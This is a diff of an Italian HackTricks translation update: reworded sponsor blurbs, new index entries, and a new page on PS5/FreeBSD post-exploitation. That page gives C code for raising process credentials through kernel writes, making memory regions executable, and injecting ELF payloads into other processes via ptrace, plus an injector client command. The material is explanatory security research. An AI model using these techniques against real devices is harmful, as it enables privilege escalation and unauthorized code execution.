Translated ['src/pentesting-web/browser-extension-pentesting-methodology

src/README.md

@@ -2,9 +2,9 @@
 
 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
-_I loghi e il design in movimento di Hacktricks sono di_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Loghi e motion design di_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
 
-### Esegui HackTricks Localmente
+### Esegui HackTricks localmente
 ```bash
 # Download latest version of hacktricks
 git clone https://github.com/HackTricks-wiki/hacktricks
@@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-La tua copia locale di HackTricks sarà **disponibile su [http://localhost:3337](http://localhost:3337)** dopo <5 minuti (deve costruire il libro, sii paziente).
+La tua copia locale di HackTricks sarà **disponibile su [http://localhost:3337](http://localhost:3337)** dopo meno di 5 minuti (deve costruire il libro, sii paziente).
 
 ## Sponsor Aziendali
 
@@ -39,9 +39,9 @@ La tua copia locale di HackTricks sarà **disponibile su [http://localhost:3337]
 
 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
 
-[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Eseguono le proprie ricerche e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity di valore** come pentesting, Red teams e formazione.
+[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano strumenti di hacking per **offrire diversi servizi di cybersecurity di valore** come pentesting, Red teams e formazione.
 
-Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
+Puoi consultare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
 
 **STM Cyber** supporta anche progetti open source di cybersecurity come HackTricks :)
 
@@ -51,7 +51,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
 
 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
 
-[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
+[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto d'incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
 
 {{#ref}}
 https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
 
 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
 
-**Intigriti** è la **piattaforma di ethical hacking e bug bounty #1 in Europa.**
+**Intigriti** è il **#1 in Europa** per ethical hacking e **bug bounty platform.**
 
-**Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare ricompense fino a **$100,000**!
+**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare bounty fino a **$100,000**!
 
 {{#ref}}
 https://go.intigriti.com/hacktricks
@@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti comunitari **più avanzati** al mondo.
+Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare workflow** alimentati dagli strumenti comunitari più **avanzati** al mondo.
 
-Accedi oggi:
+Ottieni accesso oggi:
 
 {{#ref}}
 https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
 
 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
 
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
+Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e bug bounty hunters!
 
-- **Approfondimenti sul hacking:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-- **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-- **Ultimi annunci:** Rimani informato sulle nuove ricompense bug che vengono lanciate e sugli aggiornamenti cruciali della piattaforma
+- **Hacking Insights:** Condividi contenuti che approfondiscono il brivido e le sfide dell'hacking
+- **Real-Time Hack News:** Rimani aggiornato sul mondo dell'hacking in tempo reale con notizie e approfondimenti
+- **Latest Announcements:** Vieni informato sui nuovi bug bounty in lancio e sugli aggiornamenti importanti delle piattaforme
 
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
+**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
 
 ---
 
-### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Il toolkit essenziale per il penetration testing
+### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
 
 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
+**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
 
-**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
+**Individua e segnala vulnerabilità critiche sfruttabili con reale impatto sul business.** Usa i nostri 20+ strumenti personalizzati per mappare la superficie d'attacco, trovare problemi di sicurezza che permettono escalation di privilegi e usare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo lavoro in report persuasivi.
 
 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
 
 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
 
-**SerpApi** offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Scrapeano i motori di ricerca, gestiscono i proxy, risolvono i captcha e analizzano tutti i dati strutturati ricchi per te.
+**SerpApi** offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Effettuano scraping dei motori di ricerca, gestiscono proxy, risolvono captcha e parsano tutti i dati strutturati per te.
 
-Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per scraping di diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
-A differenza di altri fornitori, **SerpApi non si limita a scrapeare i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
+Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 API diverse per lo scraping di differenti search engine, inclusi Google, Bing, Baidu, Yahoo, Yandex e altri.\
+A differenza di altri provider, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte di SerpApi includono sempre annunci, immagini inline e video, knowledge graph e altri elementi presenti nei risultati di ricerca.
 
-I clienti attuali di SerpApi includono **Apple, Shopify e GrubHub**.\
-Per ulteriori informazioni, dai un'occhiata al loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
+Tra i clienti attuali di SerpApi ci sono **Apple, Shopify e GrubHub**.\
+Per maggiori informazioni visita il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
 Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign_up)**.**
 
 ---
 
-### [8kSec Academy – Corsi di Sicurezza Mobile Approfonditi](https://academy.8ksec.io/)
+### [8kSec Academy – In-Depth Mobile Security Courses](https://academy.8ksec.io/)
 
 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
 
-Impara le tecnologie e le competenze necessarie per eseguire ricerche sulle vulnerabilità, penetration testing e reverse engineering per proteggere le applicazioni e i dispositivi mobili. **Diventa esperto in sicurezza iOS e Android** attraverso i nostri corsi on-demand e **ottieni una certificazione**:
+Impara le tecnologie e le competenze necessarie per svolgere vulnerability research, penetration testing e reverse engineering per proteggere applicazioni e dispositivi mobili. **Padroneggia la security iOS e Android** attraverso i nostri corsi on-demand e **ottieni la certificazione**:
 
 {{#ref}}
 https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
 
 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
 
-[**WebSec**](https://websec.net) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta **a proteggere** le aziende **in tutto il mondo** contro le ultime minacce di cybersecurity fornendo **servizi di sicurezza offensiva** con un approccio **moderno**.
+[**WebSec**](https://websec.net) è una società professionale di cybersecurity con sede ad **Amsterdam** che aiuta a **proteggere** le aziende **in tutto il mondo** contro le più recenti minacce fornendo **offensive-security services** con un approccio **moderno**.
 
-WebSec è un'azienda di sicurezza internazionale con uffici ad Amsterdam e Wyoming. Offrono **servizi di sicurezza all-in-one**, il che significa che fanno tutto; Pentesting, **Audit** di Sicurezza, Formazione sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
+WebSec è una società internazionale con uffici ad Amsterdam e in Wyoming. Offrono **servizi di sicurezza tutto-in-uno** che coprono: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Outsourcing di Security Experts e molto altro.
 
-Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie capacità**, tanto da **garantire i migliori risultati di qualità**, come affermano sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.net/en/) e [**blog**](https://websec.net/blog/)!
+Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto fiduciosa nelle proprie capacità**, a tal punto da **garantire i migliori risultati di qualità**, come si legge sul loro sito: "**If we can't hack it, You don't pay it!**". Per maggiori info dai un'occhiata al loro [**website**](https://websec.net/en/) e al loro [**blog**](https://websec.net/blog/)!
 
-In aggiunta a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
+In aggiunta, WebSec è anche un **sostenitore impegnato di HackTricks.**
 
 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -165,9 +165,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
 
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) è un motore di ricerca per violazioni di dati (leak). \
-Forniamo ricerca di stringhe casuali (come google) su tutti i tipi di leak di dati grandi e piccoli --non solo i grandi-- su dati provenienti da più fonti. \
-Ricerca di persone, ricerca AI, ricerca di organizzazioni, accesso API (OpenAPI), integrazione theHarvester, tutte le funzionalità di cui un pentester ha bisogno.\
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) è un motore di ricerca per data breach (leak). \
+Forniamo ricerca per stringhe casuali (come google) su tutti i tipi di data leak grandi e piccoli --non solo i grandi-- su dati provenienti da più fonti. \
+Ricerca persone, ricerca AI, ricerca organizzazioni, accesso API (OpenAPI), integrazione con theHarvester, tutte le funzionalità di cui un pentester ha bisogno.\
 **HackTricks continua a essere una grande piattaforma di apprendimento per tutti noi e siamo orgogliosi di sponsorizzarla!**
 
 {{#ref}}
@@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
 
 <figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
 
-**Costruito per il campo. Costruito attorno a te.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) sviluppa e fornisce formazione efficace in cybersecurity costruita e guidata da esperti del settore. I loro programmi vanno oltre la teoria per equipaggiare i team con una profonda comprensione e competenze pratiche, utilizzando ambienti personalizzati che riflettono le minacce del mondo reale. Per richieste di formazione personalizzata, contattaci [**qui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
 
-**Cosa distingue la loro formazione:**
-* Contenuti e laboratori costruiti su misura
-* Supportati da strumenti e piattaforme di alto livello
-* Progettati e insegnati da professionisti
+**Built for the field. Built around you.**\
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) sviluppa e offre training di cybersecurity efficaci costruiti e guidati da esperti del settore. I loro programmi vanno oltre la teoria per dotare i team di una profonda comprensione e competenze pratiche, usando ambienti personalizzati che riflettono minacce del mondo reale. Per richieste di training su misura, contattaci [**qui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+
+**Cosa distingue il loro training:**
+* Contenuti e lab personalizzati
+* Supportati da tool e piattaforme di alto livello
+* Progettati e insegnati da practitioner
 
 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@@ -198,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
 
 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
 
-Last Tower Solutions offre servizi di cybersecurity specializzati per istituzioni di **Educazione** e **FinTech**, con un focus su **penetration testing, valutazioni di sicurezza nel cloud** e **preparazione alla conformità** (SOC 2, PCI-DSS, NIST). Il nostro team include **professionisti certificati OSCP e CISSP**, portando una profonda esperienza tecnica e intuizioni standard del settore in ogni incarico.
+Last Tower Solutions offre servizi di cybersecurity specializzati per istituzioni di **Education** e **FinTech**, con focus su **penetration testing, cloud security assessments**, e **compliance readiness** (SOC 2, PCI-DSS, NIST). Il nostro team include professionisti certificati **OSCP e CISSP**, portando competenze tecniche profonde e insight secondo gli standard del settore in ogni engagement.
 
-Andiamo oltre le scansioni automatizzate con **test manuali, guidati dall'intelligenza**, su misura per ambienti ad alto rischio. Dalla protezione dei registri degli studenti alla protezione delle transazioni finanziarie, aiutiamo le organizzazioni a difendere ciò che conta di più.
+Andiamo oltre gli scan automatici con **test manuali guidati dall'intelligence** su misura per ambienti ad alto rischio. Dal proteggere i record degli studenti al tutelare le transazioni finanziarie, aiutiamo le organizzazioni a difendere ciò che conta di più.
 
-_“Una difesa di qualità richiede di conoscere l'offensiva, forniamo sicurezza attraverso la comprensione.”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
 
-Rimani informato e aggiornato sulle ultime novità in cybersecurity visitando il nostro [**blog**](https://www.lasttowersolutions.com/blog).
+Rimani informato con le ultime novità in cybersecurity visitando il nostro [**blog**](https://www.lasttowersolutions.com/blog).
 
 {{#ref}}
 https://www.lasttowersolutions.com/
@@ -212,7 +213,22 @@ https://www.lasttowersolutions.com/
 
 ---
 
-## Licenza e Dichiarazione di Non Responsabilità
+### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
+
+<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+
+K8Studio IDE permette a DevOps, DevSecOps e sviluppatori di gestire, monitorare e mettere in sicurezza cluster Kubernetes in modo efficiente. Sfrutta i nostri insight guidati dall'AI, un advanced security framework e l'intuitiva CloudMaps GUI per visualizzare i cluster, comprenderne lo stato e agire con sicurezza.
+
+Inoltre, K8Studio è **compatibile con tutte le principali distribuzioni di kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift e altro).
+
+{{#ref}}
+https://k8studio.io/
+{{#endref}}
+
+
+---
+
+## License & Disclaimer
 
 Controllali in:
 
@@ -220,7 +236,7 @@ Controllali in:
 welcome/hacktricks-values-and-faq.md
 {{#endref}}
 
-## Statistiche Github
+## Github Stats
 
 ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
 

src/SUMMARY.md

@@ -59,6 +59,7 @@
     - [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
     - [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
     - [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
+    - [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
     - [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
     - [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
     - [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@@ -82,6 +83,7 @@
   - [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
 - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
 - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
+  - [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
   - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
 - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
 
@@ -102,6 +104,7 @@
 
 # 🐧 Linux Hardening
 
+- [Linux Basics](linux-hardening/linux-basics.md)
 - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
 - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
   - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@@ -570,6 +573,7 @@
 - [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
 - [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
 - [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
+- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
 - [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
 - [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
 - [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@@ -587,6 +591,7 @@
   - [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
   - [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
   - [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
+  - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
 - [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
 - [Captcha Bypass](pentesting-web/captcha-bypass.md)
 - [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@@ -843,6 +848,7 @@
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
 - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
+- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
 - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
   - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

@@ -0,0 +1,183 @@
+# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Panoramica
+
+Questa pagina documenta una tecnica pratica di injection di processi usermode/ELF su PlayStation 5 (PS5), che si basa su FreeBSD. Il metodo si generalizza ai derivati di FreeBSD quando si dispone già di primitive di lettura/scrittura del kernel (R/W). A grandi linee:
+
+- Patchare le credenziali del processo corrente (ucred) per concedere l'autorità di debugger, abilitando ptrace/mdbg su processi utente arbitrari.
+- Trovare i processi target scorrendo la lista kernel allproc.
+- Bypassare le restrizioni PROT_EXEC modificando vm_map_entry.protection |= PROT_EXEC nella vm_map del target tramite scritture sui dati del kernel.
+- Usare ptrace per eseguire Remote Function Invocation (RFI): sospendere un thread, impostare i registri per chiamare funzioni arbitrarie all'interno del target, riprendere l'esecuzione, raccogliere i valori di ritorno e ripristinare lo stato.
+- Mappare ed eseguire payload ELF arbitrari all'interno del target usando un ELF loader in-process, quindi spawnare un thread dedicato che esegue il payload e innesca un breakpoint per staccarsi pulitamente.
+
+Mitigazioni dell'hypervisor PS5 da notare (contestualizzate per questa tecnica):
+- XOM (execute-only .text) impedisce la lettura/scrittura della .text del kernel.
+- Azzerare CR0.WP o disabilitare CR4.SMEP provoca un vmexit dell'hypervisor (crash). Solo le scritture su dati del kernel sono praticabili.
+- Il mmap userland è limitato a PROT_READ|PROT_WRITE per default. Concedere PROT_EXEC deve essere fatto modificando le voci vm_map nella memoria del kernel.
+
+Questa tecnica è post-exploitation: presume primitive R/W del kernel ottenute da una catena di exploit. Payload pubblici dimostrano questo fino al firmware 10.01 alla data di stesura.
+
+## Primitive di sola-manipolazione dei dati del kernel
+
+### Scoperta dei processi tramite allproc
+
+FreeBSD mantiene una lista doppiamente collegata dei processi nella .data del kernel in allproc. Con una primitive di lettura del kernel, iterarla per individuare i nomi dei processi e i PID:
+```c
+struct proc* find_proc_by_name(const char* proc_name){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
+if (!strcmp(proc->p_comm, proc_name)) return proc;
+kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
+} while (next);
+free(proc);
+return NULL;
+}
+
+void list_all_proc_and_pid(){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));
+printf("%s - %d\n", proc->p_comm, proc->pid);
+kernel_copyout(next, &next, sizeof(uint64_t));
+} while (next);
+free(proc);
+}
+```
+Note:
+- KERNEL_ADDRESS_ALLPROC è dipendente dal firmware.
+- p_comm è un nome a lunghezza fissa; considera ricerche pid->proc se necessario.
+
+### Elevare le credenziali per il debug (ucred)
+
+Su PS5, struct ucred include un campo Authority ID raggiungibile tramite proc->p_ucred. Scrivendo l'Authority ID del debugger si ottiene ptrace/mdbg sugli altri processi:
+```c
+void set_ucred_to_debugger(){
+struct proc* proc = get_proc_by_pid(getpid());
+if (proc){
+uintptr_t authid = 0; // read current (optional)
+uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
+kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
+kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
+free(proc);
+}
+}
+```
+- Offset 0x58 è specifico della famiglia di firmware PS5 e deve essere verificato per versione.
+- Dopo questa write, l'injector può attach e instrumentare i processi user via ptrace/mdbg.
+
+## Bypassare le mappature utente RW-only: vm_map PROT_EXEC flip
+
+Userland mmap può essere vincolata a PROT_READ|PROT_WRITE. FreeBSD traccia lo spazio di indirizzi di un processo in un vm_map composto da nodi vm_map_entry (BST plus list). Ogni entry contiene i campi protection e max_protection:
+```c
+struct vm_map_entry {
+struct vm_map_entry *prev,*next,*left,*right;
+vm_offset_t start, end, avail_ssize;
+vm_size_t adj_free, max_free;
+union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
+vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
+int wired_count; vm_pindex_t lastr;
+};
+```
+Con kernel R/W puoi localizzare il vm_map del target e impostare entry->protection |= PROT_EXEC (e, se necessario, entry->max_protection). Note pratiche di implementazione:
+- Scorri le entry linearmente tramite next oppure usa l'albero bilanciato (left/right) per una ricerca O(log n) per intervallo di indirizzi.
+- Scegli una regione RW nota che controlli (scratch buffer o mapped file) e aggiungi PROT_EXEC così puoi stageare codice o loader thunks.
+- Il codice del PS5 SDK fornisce helper per il lookup rapido delle map-entry e per il toggle delle protection.
+
+Questo bypassa la policy mmap dello userland modificando direttamente i metadata di proprietà del kernel.
+
+## Invocazione di funzione remota (RFI) con ptrace
+
+FreeBSD non dispone di VirtualAllocEx/CreateRemoteThread in stile Windows. Invece, fai in modo che il target chiami funzioni su se stesso sotto controllo ptrace:
+
+1. Attacca il target e seleziona un thread; PTRACE_ATTACH o i flussi mdbg specifici PS5 possono applicarsi.
+2. Salva il contesto del thread: registri, PC, SP, flags.
+3. Scrivi i registri degli argomenti secondo l'ABI (x86_64 SysV o arm64 AAPCS64), imposta il PC sulla funzione target e, opzionalmente, posiziona argomenti/stack aggiuntivi se necessario.
+4. Esegui uno-step singolo o continua fino a uno stop controllato (es. breakpoint software o segnale), poi leggi i valori di ritorno dai registri (regs).
+5. Ripristina il contesto originale e continua.
+
+Casi d'uso:
+- Invocare un ELF loader in-process (es. elfldr_load) con un puntatore alla tua immagine ELF nella memoria del target.
+- Invocare routine helper per recuperare gli entrypoint restituiti e i puntatori agli argomenti del payload.
+
+Esempio di come invocare l'ELF loader:
+```c
+intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
+intptr_t args  = elfldr_payload_args(target_pid);
+printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
+```
+Il loader mappa i segments, risolve gli imports, applica le relocations e restituisce l'entry (spesso un CRT bootstrap) più un puntatore payload_args opaco che il tuo stager passa al payload’s main().
+
+## Threaded stager e clean detach
+
+Uno stager minimale all'interno del target crea un nuovo pthread che esegue il main dell'ELF e poi innesca int3 per segnalare all'injector di detach:
+```c
+int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
+pthread_t thread;
+functions->pthread_create_ptr(&thread, 0,
+(void*(*)(void*))functions->elf_main, functions->payload_args);
+asm("int3");
+return 0;
+}
+```
+- I puntatori SCEFunctions/payload_args sono forniti dal loader/SDK glue.
+- Dopo il breakpoint e il detach, il payload continua nel proprio thread.
+
+## Pipeline end-to-end (implementazione di riferimento PS5)
+
+Un'implementazione funzionante è fornita come un piccolo TCP injector server più uno script client:
+
+- Il server NineS ascolta su TCP 9033 e riceve un header contenente il nome del processo target seguito dall'immagine ELF:
+```c
+typedef struct __injector_data_t{
+char       proc_name[MAX_PROC_NAME];
+Elf64_Ehdr elf_header;
+} injector_data_t;
+```
+- Utilizzo del client Python:
+```bash
+python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
+```
+Esempio di payload Hello-world (registra su klog):
+```c
+#include <stdio.h>
+#include <unistd.h>
+#include <ps5/klog.h>
+int main(){
+klog_printf("Hello from PID %d\n", getpid());
+return 0;
+}
+```
+## Considerazioni pratiche
+
+- Gli offset e le costanti (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) sono specifici del firmware e devono essere aggiornati per ogni release.
+- Le protezioni dell'hypervisor impongono scritture kernel solo-dati; non tentare di patchare CR0.WP o CR4.SMEP.
+- La memoria JIT è un'alternativa: alcuni processi espongono PS5 JIT APIs per allocare pagine eseguibili. Il flip della protezione vm_map rimuove la necessità di affidarsi a trucchi JIT/mirroring.
+- Mantieni robusto il salvataggio/restauro dei registri; in caso di errore puoi causare un deadlock o crashare il target.
+
+## Strumenti pubblici
+
